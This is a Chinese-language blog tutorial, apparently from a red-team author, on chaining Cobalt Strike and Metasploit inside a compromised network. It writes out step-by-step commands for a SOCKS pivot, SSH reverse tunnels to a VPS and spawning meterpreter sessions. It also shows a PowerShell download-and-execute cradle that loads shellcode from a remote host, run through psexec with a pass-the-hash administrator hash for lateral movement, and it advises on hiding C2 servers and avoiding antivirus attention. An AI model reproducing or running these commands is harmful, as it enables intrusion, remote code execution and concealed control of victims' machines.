0x01 本节重点预览
通过beacon内置的socks功能将本地Msf直接代入目标内网
借助CobaltStrike的外部tcp监听器通过ssh隧道直接派生一个meterpreter到本地msf中
借用msf 的各类exp模块尝试直接弹回一个beacon shell
灵活利用ssh隧道深度隐藏C2
0x02 前言
关于CobalStrike [ 以下全部简称"CS" ] 和 MetaSploit [ 以下全部简称 "Msf" ] 想必此处就不用再多废话了,总之,两者各有所长,比如,前者更适合做稳控平台,后者则更擅长各类内网搜集和漏洞利用,而我们今天的目的主要就是为了把两者的优点尽可能的灵活结合起来进行运用,让各自相互依托,去做自己最擅长的事情,废话不多讲,来看实际操作
0x03 通过beacon内置的socks功能将本地Msf直接代入目标内网进行操作
首先,到已控目标内网机器的beacon shell下把socks起起来 [ 注: 今天此处所演示的,全部都是在system权限进行操作 ]
getuid
socks 1080
接着,点开cs菜单找到 "Proxy Pivots" 复制生成的msf代理链接
本地启动msf,挂着上面生成的代理链接,即可直接对目标内网进行各种探测,实际效果如下,利用这种方式可以极大的帮我们解决要自己往上传工具的不便及尴尬
20.37.125.56:1080 意思就是让本地的msf走上面cs的socks代理 :
msf > setg ReverseAllowProxy true 建双向通道
msf > use auxiliary/scanner/smb/smb_version 拿着msf中的各类探测模块对目标内网进行正常探测即可,比如,识别目标内网所有windows机器的详细系统版本,机器名和所在域
msf > set rhosts 172.17.180.0/24 指定CIDR格式的目标内网段,掩码可根据实际情况给的大一点,比如,0/20,0/16...
msf > set threads 1 线程不易给的太大,可根据目标实际情况,控制在10以内
msf > run
0x03 尝试借助CobaltStrike的外部tcp监听器通过ssh隧道直接派生一个meterpreter 的 shell 到本地
先在cs上创建一个tcp的外部监听器,回连端口设为8080
接着,到本地机器把msf起起来,并创建如下监听器
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp 注:此处的协议格式务必要和上面cs外部监听器的协议对应,不然meter是无法正常回连的
msf > set lhost 192.168.3.137
msf > set lport 8080
msf > exploit
随后,回到自己的vps机器上编辑sshd配置,开启ssh转发功能,重启ssh服务,这是所有使用ssh隧道转发前的必备操作,后续不再啰嗦
# vi/etc/ssh/sshd_config
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# systemctl restartsshd.service
再次回到自己本地的linux中并通过ssh隧道做好如下转发,意思就是通过20.37.125.56 这台机器把来自外部的8080端口流量全部转到我本地192.168.3.137的8080端口上,而本地192.168.3.137的8080端口上跑的又正好是meter的监听器,所以,最终才会造成meterpreter本地上线的效果
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.3.137:8080 root@20.37.125.56 -p 22
隧道建立之后,习惯性的到vps上去看一眼,刚才通过隧道监听的8080端口到底有没有起来,确实起起来了才说明隧道才是通的,另外,监听的端口不能和vps机器上的现有端口冲突,否则隧道是建不成功的
netstat -tulnp |grep '8080'
最终,回到cs上选择目标内网指定机器的beacon shell 点击 "Spawn" 派生,再选择刚在上面创建好的tcp的外部监听器,相应目标机器的meterpreter就会被直接弹到本地,如下,当然,你也可以批量选择进行操作
0x04 尝试利用msf 的各类exp模块直接弹回一个beacon shell
如下,先准备好一段64位的shellcode,如下
而后,再对Invoke-Shellcode.ps1脚本中的64位shellcode进行替换
因为后续需要利用powershell远程加载执行shellcode,所以为了方便执行,得事先把powershell加载语句编码整理下,如下
PS C:> $text = "IEX (New-Object Net.WebClient).DownloadString('https://*/master/Invoke-Shellcode.ps1');Invoke-demo -Force"
PS C:> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS C:> $EncodedText = [Convert]::ToBase64String($Bytes)
PS C:> $EncodedText > bs64.txt
比如我们现在通过其它方式拿到了目标内网的某台windows机器的本地管理员密码hash,就可以尝试利用psexec_command模块借助这种方式来直接反弹指定目标机器的beacon shell,也算一种简单的横向方式
msf > use auxiliary/admin/smb/psexec_command
msf > set rhost 192.168.3.11
msf > set smbuser administrator
msf > set smbpass AAD3B435B51404EEAAD3B435B51404EE:CCEF208C6485269C20DB2CAD21734FE7
msf > set command powershell -exec bypass -encodedcommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZ*
msf > set threads 1
msf > run 此处不用管它服务到底没有启动成功
最终,成功上线效果
0x05 灵活利用ssh隧道深度隐藏C2 [ 本地上线,适合临时渗透用 ]
首先,创建一个普通的http 反向beacon监听器,并用该监听器生成一个64位的exe payload,随后再立即删除该监听器,具体如下
而后,回到自己本地的linux中,开始尝试和自己的vps建立ssh隧道,注意,此处用于建立隧道的这台vps和我们cs团队服务器所在的vps不是同一台机器 [ 实际中有条件的情况下,也建议不要用同一台 ],转发和上面的那个ssh隧道差不太多,只不过这里是通过20.37.125.56这台机器把外部的8080端口都转到了本地192.168.3.137的80端口上,而这个80端口上跑的也就是我们下面创建的那个inside监听器,所以最终才会造成beacon的本地上线
# ssh -C -f -N -g -R 0.0.0.0:8080:192.168.3.137:80 root@20.37.125.56 -p 22
此处还是习惯性的到建立隧道的那台vps上,看看刚刚隧道监听的端口有没有起来
紧接着,再次回到自己本地的linux中,启动cs团队服务器和客户端
# ./teamserver192.168.3.137 admin
# ./cobaltstrike
继续创建http 反向beacon监听器,注意,此处inside监听器的类型和上面outside监听器的类型务必要保持完全一致,不然,beacon是弹不回来的
最后,把上面那个用outside监听器创建的 exe payload 丢到目标机器上去执行,实现的最终效果就是把来自公网的beacon shell通过ssh隧道直接弹到了本地,避免了直接把cs团队服务器暴露在公网
小结:
以上每种方式其实都对应的有特定的实战应用场景,至于实战中如何灵活配合利用,就要看弟兄们自己的实际需求了,另外多说一点,似乎很多人都在以讹传讹,觉得现在msf 完全没有任何用武之地,其实,并不然,当然啦,如果你就只想用它的各类exp和payload模块,对现如今的实战场景确实没啥卵用 [ 比如,不做任何处理直接默认用 ],基本不用想了,因为各类传统监控和杀软早都已围追堵截,不过,自己想说的是,你大可以不必用这些大家天天都死死盯着的东西,比如,某些内网探测模块一直都很好用呀,控制的好,动静儿也并不会非常大,重要的是,各个厂商也几乎都不怎么关注这些无关痛痒的辅助模块,关注更多的还是那堆致命的exp和payload的相关模块,所以,自己也经常强调,工具是死的,人是活的,关于Cs和msf灵活联动配合利用方式其实还远不止这些,来日方长,我们后续再慢慢说,考虑到文章篇幅,有些地方说的并不是非常细致,弟兄们有任何问题,随时反馈就好,最后,祝好运
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论